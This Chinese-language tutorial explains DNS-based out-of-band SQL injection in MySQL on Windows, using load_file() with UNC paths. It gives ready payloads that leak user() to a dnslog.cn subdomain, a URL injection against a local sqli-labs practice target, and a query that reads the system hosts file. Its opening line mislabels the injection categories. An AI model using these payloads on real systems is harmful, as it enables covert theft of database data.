根據用於數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inference(經典SQL注入),inband(盲注、推理注入、帶內注入)和out-of-band
一、什么是OOB
out-of-band帶外數據(OOB)與inband相反,它是一種通過其他傳輸方式來竊取數據的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基於出口防火牆規則,即是否允許來自易受攻擊的系統和外圍防火牆的出站請求。而從域名服務器(DNS)中提取數據,則被認為是最隱蔽有效的方法。
二、利用原理
1、常規SQL注入,獲取服務器信息的方式
2、SQL注入利用DNS獲取查詢結果(OOB)
我們需要一個三級域名服務器(nameserver)也是DNS服務器(DNS Server),也就是下圖的schloar服務器。
還需要配置域名“www.scholar.com”對應的解析IP地址為“schloar服務器”的IP地址。
這樣就能夠實時地監控域名查詢請求了,圖示如下:
三、利用條件
需要windows環境
1、DBMS中需要有可用的,能直接或間接引發DNS解析過程的子程序,即使用到UNC
2、Linux沒有UNC路徑,所以當處於Linux環境,不能使用該方式獲取數據
四、環境搭建
1、Windwos操作系統
2、Mysql數據庫服務
3、互聯網上有已經准備好的域名服務器和DNS服務器環境
五、OOB復現
1、首先打開DNSLog.cn網站
2、打開windows客戶端DOS
ping q5i9by.dnslog.cn
結果如下圖:
3、進入Windows客戶端Mysql服務
select load_file("////xxx.q5i9by.dnslog.cn//x.txt");
select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn//aa.txt"));
1、\\轉義后即為\
2、concat將(1,2,3)拼接在一起形成123
六、利用SQL注入漏洞外帶查詢
直接上payload
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
七、OOB引申的擴展知識
1、Mysql內置函數load_file()不僅能對\www.test.com這樣的URL發起請求,還能夠加載本地文件,如下:
select load_file("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
show variables like '%secure%';查看load_file()可以讀取的磁盤。
(1)當secure_file_priv為空,就可以讀取磁盤的目錄。
(2)當secure_file_priv為G:\,就可以讀取G盤的文件。
(3)當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。
2、不同DBMS中使用的方法,參考如下鏈接
https://blog.csdn.net/u014029795/article/details/105214129
3、UNC定義
UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和映射網絡驅動器.。UNC命名慣例最多被應用於在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。UNC路徑就是類似\softer這樣的形式的網絡路徑
格式: \servername\sharename ,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename
參考鏈接
https://blog.csdn.net/u014029795/article/details/105214129
https://www.freebuf.com/articles/web/201013.html
https://www.cnblogs.com/-qing-/p/10623583.html
聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !